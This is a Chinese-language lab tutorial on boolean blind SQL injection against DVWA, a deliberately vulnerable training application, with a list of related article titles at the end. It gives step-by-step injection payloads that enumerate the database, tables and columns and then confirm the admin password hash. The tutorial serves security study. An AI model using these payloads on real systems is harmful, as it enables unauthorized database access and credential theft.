DVWA——SQL盲注(全等级)
目录
- 原理
- 一、LOW
- 1.判断注入类型
- 2.确定数据库名字的长度
- 3.确定数据库名字
- 4.确定dvwa数据库中表的数量
- 5.确定dvwa数据库中表名的长度
- 6.确定dvwa数据库中表的名字
- 7.确定users表中的字段数目
- 8.确定users表中的8个字段长度
- 9.确定users表中的8个字段名字
- 10.获取user和password的字段值
- 二、Medium
- 三、High
原理
SQL盲注与一般注入的区别在于:一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知。一般有两种方式:布尔型和时间型。还有一种是报错注入,本章主要介绍布尔盲注。
布尔型是根据页面是否正确显示来判断我们构造的语句是否正确执行
时间型则是根据页面加载时间是否变化来判断的。
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
一、LOW
1.判断注入类型
输入1,显示存在
输入1 and 1=1,显示存在
输入1 and 1=2,也显示存在,由此说明不是数字型注入
输入1’ and 1=1#,显示存在
输入1’ and 1=3#,显示不存在,由此发现应该是字符型漏洞
输入1" and 1=1#,显示存在
输入1" and 1=3#,也显示存在,说明不是双引号注入
只有真假两种情况下回显不一样才能判别。
综上可以看出是字符串单引号注入
2.确定数据库名字的长度
输入语句 | 显示结果 |
---|---|
1’ and length(database())=1 # | 不存在 |
1’ and length(database())<5 # | 存在,说明数据库名字长度是小于5的 |
1’ and length(database())=4 # | 存在,说明数据库名字长度为4 |
3.确定数据库名字
ASCII查询对照表:http://ascii.911cha.com/
猜测数据库名的第一个字符ASCII的取值范围
由于是DVWA靶场,所以合理猜测数据库名为dvwa(如果是其他场景下,需要不断修改数值,缩小取值范围,最终确定一个取值)
输入语句 | 显示结果 |
---|---|
1’ and ascii(substr(database(),1,1))>97# | 显示存在,说明第一个字符是一个小写字母且不是a。 |
1’ and ascii(substr(database(),1,1))=100# | 显示存在,说明第一个是d |
1’ and ascii(substr(database(),2,1))=118# | 显示存在,说明第二个是v |
1’ and ascii(substr(database(),3,1))=119# | 显示存在,说明第三个是w |
1’ and ascii(substr(database(),4,1))=97# | 显示存在,说明第四个是a |
综上,数据库的名字可以确定为dvwa。
4.确定dvwa数据库中表的数量
输入语句 | 显示结果 |
---|---|
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1# | 不存在 |
1’ and (select count(table_name) from information_schema.tables where table_schema=database())>2# | 不存在,说明表的数量是2 |
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 # | 存在,猜想验证成功 |
5.确定dvwa数据库中表名的长度
输入语句分布解析:
1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()
2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1
PS:limit 结果编号(从0开始),返回结果数量
3.计算当前连接数据库第1个表名的字符串长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
4.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10 #
输入语句 | 显示结果 |
---|---|
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10# | 不存在 |
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>8# | 存在,说明dvwa第一个表长度为9 |
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9# | 存在,验证成功 |
同理可以对第二个表的长度进行猜测:
输入语句 | 显示结果 |
---|---|
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5# | 存在,dvwa第二个表长度为5 |
6.确定dvwa数据库中表的名字
与确定数据库名字类似,用到ascii()和substr()两个函数。
substr(str,1,1):从str的第一个字符开始,截取长度1 == 取str的第一个字符
limit 0,1:0-查询结果的第一个;1-返回一条查询结果。 eg: limit 3,5 就是返回第4-8条数据。
输入语句 | 显示结果 |
---|---|
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103# | 显示存在,第一个表的第一个字符是g,以此类推可以确定第一个表的名字是guestbook。 |
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117# | 存在,第二个表的第一个字符是u,以此类推可以确定第二个表的名字是users |
7.确定users表中的字段数目
输入语句 | 显示结果 |
---|---|
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>4# | 存在 |
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>9# | 不存在 |
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>7# | 存在 |
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=8# | 存在所以users表中有8个字段 |
8.确定users表中的8个字段长度
输入语句 | 显示结果 |
---|---|
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>10# | 不存在 |
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>6# | 存在 |
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>8# | 不存在 |
输入1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))=7# | 存在说明users表的第一个字段长度为7 |
同理可以获取其他7个字段的长度
9.确定users表中的8个字段名字
由于表中的字段数目比较多,长度比较长,如果采用之前的按字符猜测,会很耗时间。根据我们的需要,判断users表中是否含有用户名和密码字段即可。
根据经验猜测用户名和密码的字段名字如下:
用户名:username/user_name/uname/u_name/user/…
密码:password/pass_word/pwd/pass/…
猜用户名
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1 #
显示不存在,更换字段名再尝试,发现user显示存在
猜密码
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #
显示存在
综上可知,users表中的用户名和密码字段分别为user和password。
10.获取user和password的字段值
password在存储的时候进行了MD5加密。
同样先进行猜测碰撞,如果不行再逐个筛选。
1' and (select count(*) from users where user='admin')=1 #
显示存在
1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 #
显示存在
综上可知一组用户名-密码:admin-password。
二、Medium
步骤和LOW相似,不过变成数字型注入,需要去掉1后面的单引号。
使用burpsuite抓包,修改id的值为注入语句即可。
同时medium在源代码中对特殊符号进行了转义处理,对于带有引号的字符串转换成16进制进行绕过。
三、High
high级别会另外开启一个页面,步骤类似
参考文献:
DVWA全等级SQL Injection(Blind)盲注–手工测试过程解析
DVWA——SQL盲注(全等级)相关推荐
- Dvwa之SQL盲注全级别学习笔记
SQL盲注 盲注是SQL注入的一种,相比于常规的SQL注入,盲注一般不会返回数据库的数据信息或者语句提示.只会返回管理员设定的特定信息. SQL盲注-测试流程 同样的,和之前DVWA的普通SQL In ...
- DVWA——sql盲注
一.盲注 与sql注入区别: 盲注只回复是或否,Sql注入回复详细信息: 过程: 1.判断是否存在注入,注入时字符型还是数字型 2.猜解数据库的长度,猜解数据库的名称 3.猜解数据库中有几个表,猜解表 ...
- DVWA下的SQL注入与SQL盲注
一.SQL注入 SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作, ...
- 让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询
前言 由于一些个人原因,很久没有研究WEB安全方面的一些问题了(废话四个月前月还发了帖),正好炎炎夏日暑假的生活到来,这个时候我需要的是恶补,恶补,恶补.兜兜转转到了SQL盲注部分,然后在SQL盲注上 ...
- DVWA靶场-sql盲注
第八关:SQL Injection(Blind) 盲注 SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻 ...
- sql盲注 各种方法拿到 管理员账户和密码
任务092:手动漏洞挖掘-SQL盲注笔记 介绍 web没有编写好显示过滤有数据库返回的报错信息,黑客可以通过报错信息了判断漏洞存在 下面就是没有过滤好发现了他存在sql漏洞 sql盲注就是看不见他报错 ...
- 你不知道的20万sql盲注(速来)
1盲注基础sql实验 cet 192.168.121.1 win 192.168.121.2 首先登入cet 进入数据库 然后在mysql客户端输入以下命令 use dvwa : 得到当前数据库名称 ...
- SQL盲注工具BBQSQL
SQL盲注工具BBQSQL SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具体的 ...
- sql注入攻击与防御第二版读书笔记二——SQL盲注利用
寻找并确认SQL盲注 强制产生通用错误 注入带副作用的查询 如 mssql waitfor delay '0:0:5' mysql sleep() 拆分与平衡 5 -> 7-2 常见SQL盲注场 ...
- python sql注入漏洞 ctf_CTF-WEB 一个登录框SQL盲注
一些师兄给了个平台,最近学了很多SQL注入和编写脚本的知识,跃跃欲试,结果这一做就是漫漫长路,还是很多东西不熟悉啊. 首先找注入点: 发现用户名错误和密码错误会分开提示,可以用布尔盲注,(*^▽^*) ...
最新文章
- PHP - .htaccess设置显示PHP错误 (转)
- Anaconda 默认环境
- 让oracle做定时任务【转】
- Shiro+SpringBoot 时,anon配置的匿名路径被拦截,自定义配置类走过的坑
- 使用简介EntityFramework6.0
- PySide 简易教程三-------动手写起来
- 数据结构(十三)树的遍历
- HM 内存池设计(2) HM6.0内存池设计
- 女生天生就是产品经理
- PHP获取<textarea>换行空白格处理
- cass软件yy命令_CASS快捷命令大全
- paypal html5 支付,H5网站接入Paypal支付接口
- 数据分析/运营——数据异常的排查方法
- 2021年——1024程序员节
- WHQL认证如何给驱动程序做数字签名
- C++ Reference: Standard C++ Library reference: C Library: cstdio
- 免费开源的建站程序大全,不会编程也可以自助搭建网站了哦
- JavaScript踩坑(5)比值函数 function(a, b)
- android 局域网 推送,通过RabbitMQ实现消息推送功能 可同时实现局域网推送和广域网推送...
- 手写一个selenium浏览器池